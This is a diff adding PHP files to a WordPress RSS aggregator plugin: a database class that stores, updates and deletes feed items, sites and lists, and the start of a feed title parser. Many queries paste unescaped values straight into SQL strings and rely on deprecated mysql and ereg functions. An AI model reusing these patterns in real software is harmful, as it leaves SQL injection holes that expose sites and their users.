+				"WHERE $this->ifeedurl='$url' AND $this->iitemurl='$link'";
+			$hid = $wpdb->get_row($sql);
+
+			$md5tocompare=md5($itemsitename . ' ' . $title . ' ' . $text);
+			if($hid) $hidfromdb2compare = md5($hid->sitename . ' ' . $hid->itemname . ' ' . $hid->itemtext);
+			$hidid=0;
+			if($hid) $hidid = $hid->id;
+			
+			if($hidid > 0 && (!isset($this->bdprss_prevent_dupe_updates[$hidid]) || (isset($this->bdprss_prevent_dupe_updates[$hidid]) && $this->bdprss_prevent_dupe_updates[$hidid]."" !="Done")))
+			{
+				if($md5tocompare != $hid->md5 && $md5tocompare != $hidfromdb2compare && rand(1,10) > 0){
+
+				$md5debug="MD5 Debug on Update: MD5 in DB: " . $hid->md5 . 
+					" md5compare: " . $md5tocompare .
+	  			" md5direct: " . md5($itemsitename . ' ' . $title . ' ' . $text) .
+	  			" mysql_real_escaped: "  . md5(mysql_real_escape_string($itemsitename . ' ' . $title . ' ' . $text)) .
+	  			" mysql_stripped_escaped: "  . md5(mysql_real_escape_string(stripslashes($itemsitename . ' ' . $title . ' ' . $text))) .
+					  " hidfromdb2compare: " . $hidfromdb2compare;
+
+					$sql = "UPDATE $this->itemtable ".
+						"SET $this->iitemupdate='".$this->now."', ".
+						"$this->iitemtext='".mysql_real_escape_string($text)."', ".
+						"$this->iitemname='".mysql_real_escape_string(htmlentities($title))."', ".
+						"$this->iitemsitename='".mysql_real_escape_string($itemsitename)."', ".
+						"$this->iitemsiteurl='".mysql_real_escape_string($itemsiteurl)."', ".
+						"$this->iitemlicense='".mysql_real_escape_string($itemlicense)."' ".
+						"WHERE $this->ifeedurl='".mysql_real_escape_string($url)."' " .
+						"AND $this->iitemurl='".mysql_real_escape_string($link)."' ";
+					$result = $wpdb->query($sql);
+
+					if(class_exists('BDPRSS_SEARCH')){
+					  $result = $bdprss_search->markitem4update($hid->id, $md5tocompare);
+					  if(!$result) $this->recordError($url, "Updated ID: " . $hid->id . " result: " .$result. " md5debug: " . $md5debug);
+					}
+
+				}
+				$this->bdprss_prevent_dupe_updates[$hid->id]="Done";
+				return FALSE;
+			}
+			
+			$dateStamp = date('Y-m-d', $ticks);
+			//echo "<br />Title is: " . $title;
+			$sql = "INSERT IGNORE INTO $this->itemtable ($this->ifeedurl, $this->iitemurl, $this->iitemname, ".
+				"$this->iitemsitename, $this->iitemsiteurl, $this->iitemlicense, ".
+				"$this->iitemtext, $this->iitemupdate, $this->iitemtime, $this->iitemdate)".
+				" VALUES ('".mysql_real_escape_string($url)."', 
+					'".mysql_real_escape_string($link)."', 
+					'".mysql_real_escape_string($title)."', 
+					'".mysql_real_escape_string($itemsitename)."', 
+					'".mysql_real_escape_string($itemsiteurl)."', 
+					'".mysql_real_escape_string($itemlicense)."', ".
+				"'".mysql_real_escape_string($text)."', '$this->now', '$ticks', '$dateStamp') ";
+			$result = $wpdb->query($sql);
+
+//updating the memtable
+			$inserted_row_id=mysql_insert_id();
+			if ($inserted_row_id>0){
+//mem table preop - shall be replaced later by parameter
+				$sql = "SELECT $this->midentifier FROM $this->msitetable ".
+					"WHERE $this->mfeedurl='$url'";
+			$site_id = $wpdb->get_var($sql);
+
+//mem table update
+				$sql = "INSERT INTO $this->mitemtable 
+					($this->miid, $this->misiteid, $this->miitemtime, $this->miitemdate)".
+					" VALUES ('$inserted_row_id', '$site_id', '$ticks', '$dateStamp') ";
+			$result = $wpdb->query($sql);
+
+			} //inserted row id > 0
+			$this->bdprss_prevent_dupe_updates[$inserted_row_id]="Done";
+			return TRUE;
+		}
+		
+		/* --- modify --- */
+		
+		function updateTable($tableName, &$valueArray, $identifier, $specialCase=FALSE)
+		{
+			global $wpdb;
+			
+			if(!isset($valueArray[$identifier]) || !$valueArray[$identifier])
+			{
+					$this->recordError('SNARK', 
+						"BDPRSS_DB::updateTable() missing identifier ($identifier)".
+						"in valueArray for $tableName -- this should never happen");
+					return FALSE;
+			}
+			
+			if($specialCase && $tableName==$this->sitetable)
+			{
+				if(isset($valueArray['csitename']))		unset($valueArray['csitename']);
+				if(isset($valueArray['csiteurl']))		unset($valueArray['csiteurl']);
+				if(isset($valueArray['cdescription']))	unset($valueArray['cdescription']);
+/*new*/				if(isset($valueArray['csitelicense']))	unset($valueArray['csitelicense']);
+			}
+			
+			$sql = "UPDATE $tableName SET ";
+			foreach($valueArray as $key => $value)
+			{
+				if($key==$identifier) continue;
+				$value = preg_replace('/"/',	'&quot;', 	$value);
+				$value = preg_replace("/'/",	'&#39;', 	$value);
+				$sql .= $this->{$key}."='$value', ";
+			}
+			//$sql = preg_replace('/^(.*), $/', '\\1', $sql);
+			$sql = preg_replace('/, $/', '', $sql);
+			$sql .= " WHERE ".$this->{$identifier}."='".$valueArray[$identifier]."' ";
+			$result = $wpdb->query($sql);
+			return $result;
+		}
+		
+		function process_new(){
+			//echo "we hit process_new";
+			global $bdprss_search;
+			$pba_search_config['addheap']=500;
+		  $pba_search_config['heapmode']='bulk';
+		  $pba_search_config['bdprss_getidmode']='notinstatus';
+		  $pba_search_config['bdprss_debug_list_id']=0;
+		  $pba_search_config['get_ids4heap2add_max_item_updatetimeage']=100000000;
+		  $pba_search_config['get_ids4heap2add_min_updatetimeage']=0;
+		
+		//syntax for calling the search index processing:
+		//  	$bdprss_search->add_heap2search_index($pba_search_config['addheap'], $pba_search_config['heapmode'], false, $insertfromtemptable, 
+		//  		$bdprss_getidmode, $bdprss_debug_list_id, 
+		//  		$get_ids4heap2add_max_item_updatetimeage, $get_ids4heap2add_min_updatetimeage);
+		
+			$return = $bdprss_search->add_heap2search_index($pba_search_config['addheap'], $pba_search_config['heapmode'], false, true, 
+				$pba_search_config['bdprss_getidmode'], $pba_search_config['bdprss_debug_list_id'], 
+				$pba_search_config['get_ids4heap2add_max_item_updatetimeage'], 
+				$pba_search_config['get_ids4heap2add_min_updatetimeage']);
+				
+				return $return;
+		}
+		
+		function process_updates(){
+			//echo "we hit process_new";
+			global $bdprss_search;
+
+			$pba_search_config['addheap']=20;
+		  $pba_search_config['heapmode']='bulk';
+		  $pba_search_config['bdprss_getidmode']='processupdates';
+		  $pba_search_config['bdprss_debug_list_id']=0;
+		  $pba_search_config['get_ids4heap2add_max_item_updatetimeage']=100000000;
+		  $pba_search_config['get_ids4heap2add_min_updatetimeage']=1800;
+
+			$return = $bdprss_search->add_heap2search_index($pba_search_config['addheap'], $pba_search_config['heapmode'], false, true, 
+				$pba_search_config['bdprss_getidmode'], $pba_search_config['bdprss_debug_list_id'], 
+				$pba_search_config['get_ids4heap2add_max_item_updatetimeage'], 
+				$pba_search_config['get_ids4heap2add_min_updatetimeage']);
+			return $return;
+		}
+
+		function process_deletes(){
+			//echo "we hit process_new";
+			global $bdprss_search;
+
+			$pba_search_config['addheap']=10;
+		  $pba_search_config['heapmode']='bulk';
+		  $pba_search_config['bdprss_getidmode']='processdeletes';
+		  $pba_search_config['bdprss_debug_list_id']=0;
+		  $pba_search_config['get_ids4heap2add_max_item_updatetimeage']=100000000;
+		  $pba_search_config['get_ids4heap2add_min_updatetimeage']=1800;
+
+			$return = $bdprss_search->add_heap2search_index($pba_search_config['addheap'], $pba_search_config['heapmode'], false, true, 
+				$pba_search_config['bdprss_getidmode'], $pba_search_config['bdprss_debug_list_id'], 
+				$pba_search_config['get_ids4heap2add_max_item_updatetimeage'], 
+				$pba_search_config['get_ids4heap2add_min_updatetimeage']);
+			return $return;
+		}
+
+
+		function housekeeping_cache(){
+			$dummy1="";
+			$dummy2="";
+			$cachedeletecounter=PBALIB::pba_cache($dummy1, $dummy2, 'housekeeping', '', 'mixed', 86400, 'OK');
+			return $cachedeletecounter;
+		}
+
+		function update_oldest() 
+		{
+			global $wpdb;
+			// at most we only want to impose the burden of updating one feed on this site user
+			
+//mem tables present
+			$sql ="SELECT * FROM $this->msitetable order by $this->mnextpolltime asc limit 1";
+
+//no mem tables present
+			$sql ="SELECT * FROM $this->sitetable order by $this->cnextpolltime asc limit 1";
+			$site = $wpdb->get_row($sql);
+
+//			echo "DEBUG update oldest: the site is: ";
+//			print_r($site);
+
+
+			if(!$site) return;
+			if($site->{$this->mnextpolltime} > $this->now) return;
+
+			BDPRSS2::update($site);
+		}
+		
+		function updateAll() 
+		{
+			global $wpdb;
+			
+			$sql = 	"SELECT * FROM $this->sitetable order by next_poll_time LIMIT 5";
+			$sites = $wpdb->get_results($sql);
+			
+			if($sites) 
+				foreach($sites as $site) 
+					BDPRSS2::update($site);
+		} 
+		
+		
+		/* --- retrieve --- */
+		
+		function get_mysql_version() 
+		{
+			global $wpdb;
+			
+			$sql = "SELECT version()";
+			$result = $wpdb->get_var($sql);
+			
+			return $result;
+		}
+		
+		function is_in_sitetable($url) 
+		{
+			global $wpdb;
+			
+			$sql = 	"SELECT * FROM $this->sitetable ".
+				"WHERE $this->cfeedurl='$url' LIMIT 1";
+			$result = $wpdb->get_row($sql);
+			
+			if($result && $result->{$this->cfeedurl} == $url) return TRUE;
+			return FALSE;
+		}
+		
+		function count_in_sitetable() 
+		{
+			global $wpdb;
+			
+			$sql = 	"SELECT COUNT(*) FROM $this->sitetable ";
+			
+			$result = $wpdb->get_var($sql);
+			
+			return $result;
+		}
+		
+		function countErrors($url='') 
+		{
+			global $wpdb;
+			
+			$sql = 	"SELECT COUNT(*) FROM $this->errortable";
+			if($url) $sql .= " WHERE $this->efeedurl='$url'";
+			$result = $wpdb->get_var($sql);
+			
+			return $result;
+		}
+		
+		function getErrors($url='') 
+		{
+			global $wpdb;
+			
+			$sql = 	"SELECT * FROM $this->errortable";
+			if($url) $sql .= " WHERE $this->efeedurl='$url'";
+			$sql .= " ORDER BY $this->efeedurl, $this->eidentifier";
+			$result = $wpdb->get_results($sql);
+
+			return $result;
+		}
+
+		function count_in_listtable() 
+		{
+			global $wpdb;
+
+			$sql = 	"SELECT COUNT(*) FROM $this->listtable ";
+			
+			$result = $wpdb->get_var($sql);
+
+			return $result;
+		}
+
+		function is_in_itemtable($url) 
+		{
+			global $wpdb;
+
+			$sql = 	"SELECT * FROM $this->itemtable ".
+				"WHERE $this->ifeedurl='$url' LIMIT 1";
+			$result = $wpdb->get_row($sql);
+
+			if($result && $result->{$this->ifeedurl} == $url) return TRUE;
+			return FALSE;
+		}
+		
+		function get_all_lists() 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->listtable ".
+				"ORDER BY $this->lidentifier ";
+			$result = $wpdb->get_results($sql);
+			return $result;
+		}
+
+		function setoptions($optionsarray){
+			global $wpdb;
+			$sql = "REPLACE INTO $this->optionstable ( name , type , value , notice 
+								) VALUES ";
+			foreach($optionsarray as $fieldname => $values){
+				$sql .= "\n( '".$fieldname."', '".$values['type']."', '".$values['value']."', '".$values['notice']."'), ";
+			}
+			if(count($optionsarray)>0){
+				$sql = preg_replace('/, $/','', $sql);
+				$result = $wpdb->query($sql);
+			}
+			return $result;
+		}
+		
+		function get_all_options() 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->optionstable ".
+				"ORDER BY name ";
+			$result = $wpdb->get_results($sql);
+			return $result;
+		}
+
+		function detect_memtable($table){
+			global $wpdb;
+			$sql = "SHOW CREATE TABLE " . $table;
+			$show = $wpdb->get_row($sql);
+			if(stristr($show->{'Create Table'}, 'ENGINE=MEMORY')) return true;
+			return false;
+		}
+
+		function pbaoption($name){
+			global $wpdb;
+			$sql = "SELECT * FROM $this->optionstable ".
+				"WHERE name = '".$name."' LIMIT 0,1";
+			$result = $wpdb->get_row($sql);
+			if($result){
+				if($result->type == 'string') {
+					//special string handling needed to be binary safe?
+					return $result->value;
+				} elseif($result->type == 'int'){
+					return abs(intval($result->value));
+				}
+			}
+			return $result;
+		}
+
+		function get_all_pbaoutputs() 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->pbaoutputtable ".
+				"ORDER BY $this->pbaoidentifier ";
+			$result = $wpdb->get_results($sql);
+			return $result;
+		}
+
+		function get_all_sites($ltype='sitealpha') 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->sitetable ";
+			
+			if($ltype == 'sitealpha')
+				$sql .= "ORDER BY $this->csitename ";
+			elseif($ltype == 'siteupdate')
+				$sql .= "ORDER BY $this->cupdatetime DESC";
+			
+			$result = $wpdb->get_results($sql);
+			return $result;
+		}
+		
+		function get_site($url) 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->sitetable WHERE $this->cfeedurl='$url' ";
+			$result = $wpdb->get_row($sql);
+			return $result;
+		}
+		
+		function get_site_by_id($id) 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->sitetable WHERE $this->cidentifier='$id' ";
+			$result = $wpdb->get_row($sql);
+			return $result;
+		}
+
+//function will give back a numeric array of feeds when given in a numeric array of ids
+		function get_feedlist_by_ids($ids) 
+		{
+			global $wpdb;
+//			echo "Overload: ";
+//			print_r($ids);
+			$return=false;
+			if($ids){
+				if($this->memtablesok==1){
+					$use_site_table=$this->msitetable;
+					$use_identifier=$this->midentifier;
+					$use_feed_url_column_name=$this->mfeedurl;
+				}else{
+					$use_site_table=$this->sitetable;
+					$use_identifier=$this->cidentifier;
+					$use_feed_url_column_name=$this->cfeedurl;
+				}
+				$sql = "SELECT $use_feed_url_column_name as feedurl 
+					FROM $use_site_table WHERE $use_identifier in (";
+				$virgin = true;
+				foreach($ids as $id) {
+					if($virgin){
+						$sql .= " $id";
+					}else{
+						$sql .= ", $id";
+					}
+					$virgin = false;
+				}
+				$sql .= " ) ";
+//				print_r($sql);
+				$result = $wpdb->get_results($sql);
+				foreach($result as $r) {
+					$return[]=$r->feedurl;
+				}
+			}//if ids
+			return $return;
+		}
+
+		function get_feedurl_from_site_id($id) 
+		{
+			global $wpdb;
+			$sql = "SELECT $this->cfeedurl FROM $this->sitetable WHERE $this->cidentifier='$id' ";
+			$result = $wpdb->get_row($sql);
+			if(!$result) return FALSE;
+			return $result->{$this->cfeedurl};
+		}
+		
+		function get_siteurl_from_site_id($id) 
+		{
+			global $wpdb;
+			$sql = "SELECT $this->csiteurl FROM $this->sitetable WHERE $this->cidentifier='$id' ";
+			$result = $wpdb->get_row($sql);
+			if(!$result) return FALSE;
+			return $result->{$this->csiteurl};
+		}
+		
+		function get_list($list_id) 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->listtable WHERE $this->lidentifier='$list_id' ";
+			$result = $wpdb->get_row($sql);
+			return $result;
+		}
+
+		function get_pbaoutput_from_page_id($page_id){
+			global $wpdb;
+			$sql = "SELECT * FROM $this->pbaoutputtable WHERE page2hookin='$page_id' ORDER by identifier ASC LIMIT 0,1";
+			$result = $wpdb->get_row($sql);
+			return $result;
+		}
+
+		function get_pbaoutput($output_id) 
+		{
+			global $wpdb;
+			$sql = "SELECT * FROM $this->pbaoutputtable WHERE identifier='$output_id' ";
+			$result = $wpdb->get_row($sql);
+			return $result;
+		}
+
+		function get_item($feedurl, $itemurl) 
+		{
+			global $wpdb;
+			$sql = 	"SELECT * FROM $this->itemtable ".
+				"WHERE $this->ifeedurl='$feedurl' AND $this->iitemurl='$itemurl' ";
+			$result = $wpdb->get_row($sql);
+			return $result;
+		}
+		
+		function getItemByID($id) 
+		{
+			global $wpdb;
+			$sql = 	"SELECT * FROM $this->itemtable WHERE $this->iidentifier='$id' ";
+			$result = $wpdb->get_row($sql);
+			return $result;
+		}
+		
+
+	function getsiteswithupdatetime($maxage=0, $list_id=0){
+	
+		global $wpdb;
+
+		//check input values
+		$list_id=abs(intval($list_id));
+		$maxage=abs(intval($maxage)); //0 means filter disabled, age in seconds
+		
+		//initialisation
+		$search_query_conditions_list=" ";
+		$search_query_conditions_maxage=" ";
+		
+		if($list_id>0) $search_query_conditions_list =" AND r1.site_id in (select sites.identifier AS site_id from (" . $this->listtable . " lists join " . $this->sitetable . " sites) where ((concat(_latin1',',lists.url_list,_latin1',') like concat(_utf8'%,',sites.identifier,_utf8',%')) or (lists.list_all = _latin1'Y')) and lists.identifier = '" . $list_id . "')  \n";
+		if($maxage>0) $search_query_conditions_maxage =" AND r1.item_time > ( UNIX_TIMESTAMP() - '" . $maxage . "' ) ";
+		
+		$sql = "SELECT r1.site_id, max( r1.item_time ) AS lastupdate, msi.*
+			FROM " . $this->mitemtable . " r1, " . $this->msitetable . " msi
+			WHERE r1.site_id = msi.identifier
+			" . $search_query_conditions_list . "
+			" . $search_query_conditions_maxage . "
+			GROUP BY r1.site_id
+			ORDER BY msi.site_name";
+
+		$result = $wpdb->get_results($sql);
+		return $result;
+	}
+
+
+	function getmonthlyarchivedates($itemdate="", $list_id=0){
+		global $wpdb;
+		
+		//protect input vaues
+		$list_id=abs(intval($list_id));
+    if (!ereg("[0-9][0-9][0-9][0-9]-[0-1][0-9]-[0-3][0-9]", $itemdate)) $itemdate = date('Y-m-d');
+
+		/* let's get all date results for the month according to itemdate
+		+ the last hitting date before the month according to itemdate
+		+ the next hitting date after the month according to itemdate
+		*/
+
+		$firstsecondthismonth=mktime(0, 0, 0, substr($itemdate,5,2), 1, substr($itemdate,0,4));
+		$firstsecondnextmonth=mktime(0, 0, 0, ( substr($itemdate,5,2) +1 ), 1, substr($itemdate,0,4));
+		if($list_id>0) $search_query_conditions_list="AND r1.site_id in (select sites.identifier AS site_id from (" . $this->listtable . " lists join " . $this->sitetable . " sites) where ((concat(_latin1',',lists.url_list,_latin1',') like concat(_utf8'%,',sites.identifier,_utf8',%')) or (lists.list_all = _latin1'Y')) and lists.identifier = '" . $list_id . "')  \n";
+
+		//let's try to build a quicker query - is it really quicker?
+		if($list_id>0) { 
+			$search_table_addition_list=" , (select sites.identifier AS site_id from (" . $this->listtable . " lists join " . $this->msitetable . " sites) where ((concat(_latin1',',lists.url_list,_latin1',') like concat(_utf8'%,',sites.identifier,_utf8',%')) or (lists.list_all = _latin1'Y')) and lists.identifier = '" . $list_id . "') s \n";
+			$search_query_conditions_list="AND r1.site_id = s.site_id \n";
+		}
+
+/* //leave quicksql as comment, maybe it will be needed later, because for timezone conversions it is fine to use item_time instead of item_date
+		$quicksql = "(SELECT IFNULL( FROM_UNIXTIME( min( r1.item_time ) , '%Y-%m-%d' ),'0') AS item_date, 'next' AS type
+		  FROM " . $this->mitemtable . " r1 " . $search_table_addition_list . " 
+		  WHERE r1.item_time >= '".$firstsecondnextmonth."' " . $search_query_conditions_list . " )
+		  UNION DISTINCT
+		  (SELECT DISTINCT FROM_UNIXTIME( r1.item_time, '%Y-%m-%d' ) AS item_date, 'normal' AS type
+			FROM " . $this->mitemtable . " r1  " . $search_table_addition_list . " 
+			WHERE r1.item_time >= '".$firstsecondthismonth."' 
+			AND r1.item_time < '".$firstsecondnextmonth."' " . $search_query_conditions_list . " )
+			UNION DISTINCT
+			( SELECT IFNULL( FROM_UNIXTIME( max( r1.item_time ) , '%Y-%m-%d' ),'0') AS item_date, 'last' AS type
+		  FROM " . $this->mitemtable . " r1  " . $search_table_addition_list . " 
+		  WHERE r1.item_time < '".$firstsecondthismonth."' " . $search_query_conditions_list . ") ";
+		$quicksql .= " ORDER BY type, item_date ASC LIMIT 0,40 ";
+*/ //just as demo how to use item_time fields instead of item_date
+
+		$quickersql = "(SELECT IFNULL( FROM_UNIXTIME( min( r1.item_time ) , '%Y-%m-%d' ),'0') AS item_date, 'next' AS type
+		  FROM " . $this->mitemtable . " r1 " . $search_table_addition_list . " 
+		  WHERE r1.item_time >= '".$firstsecondnextmonth."' " . $search_query_conditions_list . " )
+		  UNION DISTINCT
+		  (SELECT DISTINCT date_format( r1.item_date, '%Y-%m-%d' ) AS item_date, 'normal' AS type
+			FROM " . $this->mitemtable . " r1  " . $search_table_addition_list . " 
+			WHERE r1.item_date >= FROM_UNIXTIME('".$firstsecondthismonth."','%Y-%m-%d') 
+			AND r1.item_date < FROM_UNIXTIME('".$firstsecondnextmonth."','%Y-%m-%d') " . $search_query_conditions_list . " 
+			group by r1.item_time )
+			UNION DISTINCT
+			( SELECT IFNULL( FROM_UNIXTIME( max( r1.item_time ) , '%Y-%m-%d' ),'0') AS item_date, 'last' AS type
+		  FROM " . $this->mitemtable . " r1  " . $search_table_addition_list . " 
+		  WHERE r1.item_time < '".$firstsecondthismonth."' " . $search_query_conditions_list . " ) ";
+		$quickersql .= " ORDER BY type, item_date ASC LIMIT 0,40 ";
+
+
+		//echo $quickersql . '<br />';
+		$result = $wpdb->get_results($quickersql);
+		return $result;
+		
+	}
+
+		
+		function get_most_recent_item_time($feedurl) 
+		{
+			global $wpdb;
+			
+			if($this->memtablesok == 1){
+				//if feedurl is numeric, we treat it as a site_id
+				if(abs(intval($feedurl))."" == $feedurl.""){
+					$sql = 	"SELECT MAX( $this->miitemtime ) as $this->iitemtime
+					FROM $this->mitemtable
+					WHERE $this->misiteid = '$feedurl'";
+				}else{
+				$sql = 	"SELECT MAX( $this->miitemtime ) as $this->iitemtime
+					FROM $this->mitemtable
+					WHERE $this->misiteid = (
+					SELECT $this->midentifier
+					FROM $this->msitetable
+					WHERE $this->mfeedurl = '$feedurl' ) ";
+				}
+			}else{
+				$sql = 	"SELECT MAX($this->iitemtime) FROM $this->itemtable ".
+					"WHERE $this->ifeedurl='$feedurl' ";
+			}
+			$result = $wpdb->get_var($sql);
+			return $result;
+		}
+
+		//new function to query items for output
+		//input: object with ids - just to be overloaded, never to be changed, optional parameter order by site name
+		//output: object with set of rows
+		function getsitenitems(&$id_result, $orderbysitename=false){
+			global $wpdb;
+			if(!$id_result){
+				return false;
+			}
+      $sql = "SELECT i.identifier as itemid, s.identifier as siteid, i.*, s.* FROM $this->itemtable i, $this->msitetable s ";
+      $sql .= " WHERE i." . $this->ifeedurl . " = s." . $this->mfeedurl . " ";
+      $virgin = true;
+      foreach($id_result as $tr) {
+      	if(!$tr->{$this->miid}) continue;
+      	if($virgin)
+      		$sql .= "AND ( ";
+      	else
+      		$sql .= "OR";
+      	$sql .= " i." . $this->iidentifier . "='" . $tr->{$this->miid} . "' ";
+      	$virgin = false;
+      }
+      if(!$virgin) $sql .= ") ";
+      if($orderbysitename){
+        $sql .= " ORDER BY s." . $this->msitename . " ASC ";
+      }else{
+        $sql .= " ORDER BY i." . $this->iitemtime . " DESC ";
+      }
+      
+      $itemset = $wpdb->get_results($sql);
+			return $itemset;
+		}
+		
+		/* --- delete --- */
+		
+		function deleteFeed($rss) 
+		{
+			global $wpdb, $bdprss_search;
+			
+			$rss=trim($rss);
+			$url = $this->get_feedurl_from_site_id($rss);
+			
+			if(!$url) return;
+			
+			$sql = "DELETE FROM $this->sitetable WHERE $this->cfeedurl='$url'";
+			$result = $wpdb->query($sql);
+			
+			$sql = "DELETE FROM $this->itemtable WHERE $this->ifeedurl='$url'";
+			$result = $wpdb->query($sql);
+			
+			$sql = "DELETE FROM $this->errortable WHERE $this->efeedurl='$url'";
+			$result = $wpdb->query($sql);
+
+//delete from search tables
+			if(class_exists('BDPRSS_SEARCH')){
+			  $result = $bdprss_search->markfeed4delete($rss);
+			  $this->recordError("Attention", "Deleted Feed ID: " . $rss);
+			}
+
+//mem tables
+			$sql = "DELETE FROM $this->msitetable WHERE $this->midentifier='$rss'";
+			$result = $wpdb->query($sql);
+
+			$sql = "DELETE FROM $this->mitemtable WHERE $this->misiteid='$rss'";
+			$result = $wpdb->query($sql);
+
+		}
+		
+		function deletelist($list) 
+		{
+			global $wpdb;
+			
+			$sql = "DELETE FROM $this->listtable WHERE $this->lidentifier='$list'";
+			$result = $wpdb->query($sql);
+		}
+		
+		function deletepbaoutput($list) 
+		{
+			global $wpdb;
+			
+			$sql = "DELETE FROM $this->pbaoutputtable WHERE $this->pbaoidentifier='$list'";
+			$result = $wpdb->query($sql);
+		}
+
+		function deleteErrors($url)
+		{
+			global $wpdb;
+			
+			$sql = "DELETE FROM $this->errortable ".
+				"WHERE $this->efeedurl='$url' ";
+			$result = $wpdb->query($sql);
+			
+			return $result;
+		}
+		
+		function droptable($tablename)
+		{
+			global $wpdb;
+			
+			$sql = "DROP TABLE IF EXISTS $tablename";
+			$result = $wpdb->query($sql);
+			
+			return $result;
+		}
+
+		function deleteErrorTable()
+		{
+			global $wpdb;
+			
+			$sql = "DROP TABLE IF EXISTS $this->errortable";
+			$result = $wpdb->query($sql);
+			
+			$this->create();
+		}
+		
+		function delete_old_items($url) 
+		{
+		/* delete_old_items($url)
+		 */
+			global $wpdb, $bdprss_search;
+			
+			$oldDefined = (int) get_option('bdprss_keep_howlong');
+			if(!$oldDefined) return;
+			$oldDefined *= 60 * 60 * 24 * 31; // seconds in a month
+			$oldDefined = $this->now - $oldDefined;
+			
+			$sql = "DELETE FROM $this->itemtable ".
+				"WHERE $this->ifeedurl='$url' ".
+				"AND ($this->iitemtime<'$oldDefined' OR $this->iitemtime='')";
+			$result = $wpdb->query($sql);
+
+//delete from search tables
+			if(class_exists('BDPRSS_SEARCH')){
+			  $result=$this->get_site($url);
+			  $result = $bdprss_search->markfeed4delete($result->{$this->cidentifier}, $oldDefined);
+			  $this->recordError($url, "Deleted Entries older as $oldDefined from this feed");
+			}
+
+//mem table
+			$sql = "DELETE FROM $this->mitemtable ".
+				"WHERE $this->misiteid in (
+					SELECT $this->midentifier FROM $this->msitetable 
+					where $this->mfeedurl  ='$url') ".
+				"AND ($this->miitemtime<'$oldDefined' OR $this->miitemtime='')";
+			$result = $wpdb->query($sql);
+
+			return $result;
+		}
+		
+		function list_all_tables(){
+			global $bdprss_search;
+			$tables=$bdprss_search->pbasearch_list_tables();
+			$tablenames = array(
+				$this->errortable, $this->listtable, $this->itemtable, $this->sitetable,
+				$this->mtablestatus, $this->msitetable, $this->mitemtable, $this->optionstable, $this->pbaoutputtable
+			);
+			foreach($tablenames as $tablename){
+				$tables[$tablename]=true;
+			}
+			return $tables;
+		}
+		
+		function reset() 
+		{
+		/* reset() -- delete the database tables - 
+		 *		god knows why you would do this -- 
+		 *		this is the button of death
+		 */
+			global $wpdb;
+			
+			$tablenames = $this->list_all_tables();
+			//print_r($tablenames);
+			$dummy1="";
+			$dummy2="";
+			$cachedeletecounter=@PBALIB::pba_cache($dummy1, $dummy2, 'clear', '', 'mixed', 180, 'OK');
+//echo "<br>Uninstall outcommented in bdp-rssaggregator-db.php";
+//exit;
+
+			delete_option('bdprss_update_frequency');
+			delete_option('bdprss_keep_howlong');
+			delete_option('widget_name_multi');
+			foreach($tablenames as $t => $dummy)
+			{
+				$sql = "DROP TABLE IF EXISTS $t ";
+				$result = $wpdb->query($sql);
+			}
+			return true;
+		}
+		
+		function get_wp_published_pages(){
+			global $wpdb, $table_prefix;
+			$sql = "SELECT * FROM " . $table_prefix . "posts 
+				WHERE post_type = 'page' AND post_status = 'publish'
+				ORDER BY ID";
+			$result = $wpdb->get_results($sql);
+//			return $sql;
+			return $result;
+		}
+		
+	} // class
+}//if
+
+// Make a single global instance.
+if ( !isset($bdprss_db) ) $bdprss_db = new BDPRSS_DB();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssfeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssfeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssfeed.php	(revision 44)
@@ -0,0 +1,303 @@
+<?php
+//this a a complete new parser from brian's 0.63 version just with old class names
+//http://www.ozpolitics.info/plugins/bdp-rssaggregator-0-6-3.zip
+//shall be ready now
+
+if( !class_exists('BDPFeed') ) 
+{
+	mb_internal_encoding( get_option('blog_charset') );
+	mb_regex_encoding( get_option('blog_charset') );
+
+	class BDPFeed 
+	{
+	/* This is a quick and dirty class to sort through a single channel feed.
+	 */
+		var $url;
+//		var $preserveTagsList;
+		
+		function BDPFeed($url) 
+		{
+			$this->url = $url;
+		}
+		
+		function title_recode($title, $captureTags=false) 
+		{
+		/* get rid of difficult characters - we don't want quotes as they affect the SQL and echos
+		 * we don't want XHTML code here as it might cause problems when printed
+		 * encode unencoded ampersands
+		 */
+			// blogspot puts encoded tags into the feed stream - decode them
+			$title = mb_eregi_replace("\&lt;", 		'<', 		$title);
+			$title = mb_eregi_replace("\&gt;", 		'>', 		$title);
+			$title = mb_eregi_replace("\&amp;([a-z]+);",	'&\\1;',	$title);
+			$title = mb_eregi_replace("\&amp;#([0-9]+);",	'&#\\1;',	$title);
+			$title = mb_eregi_replace("\&amp;#x([a-e0-9]+);",'&#x\\1;',	$title);
+			
+			// remove CDATA tags - leave XHTML tags
+			$title = preg_replace("'<!\[CDATA\[(.*?)\]\]>'si", '\\1', $title);
+			
+			// tidy-up quotes - prevents SQL insertion
+			$title = mb_ereg_replace('"',	 		'&quot;', 	$title);
+			$title = mb_ereg_replace("'", 			'&#39;',  	$title);
+			$title = mb_eregi_replace('\&apos;',	'&#39;',  	$title); // old browser fix
+
+			//Parteibuch change: Problems with comments not closed fixed
+			$title = mb_eregi_replace('<!--[^>]*-->', 	'', 	$title); 
+			$title = mb_eregi_replace('<!--', 	'', 	$title); 
+
+			// find unencoded ampersands and encode them!
+			$title = mb_ereg_replace('<',	 		'&lt;',  	$title);
+			$title = mb_ereg_replace('>',	 		'&gt;',  	$title);
+			$title = mb_eregi_replace('\&([a-z]+);', 	'<\\1>', 	$title); // alpha
+			$title = mb_eregi_replace('\&(#[0-9]+);',	'<\\1>', 	$title); // decimal
+			$title = mb_eregi_replace('\&(#x[a-e0-9]+);',	'<\\1>', 	$title); // hex
+			$title = mb_eregi_replace('\&', 		'&amp;', 	$title);
+			$title = mb_eregi_replace('<([^>]+)>',		'&\\1;',	$title);
+
+			//Parteibuch fix: avoid umlaut encoding errors
+			$title = mb_ereg_replace('\&A[uU][mM][lL]', 	'&#196', 	$title); 
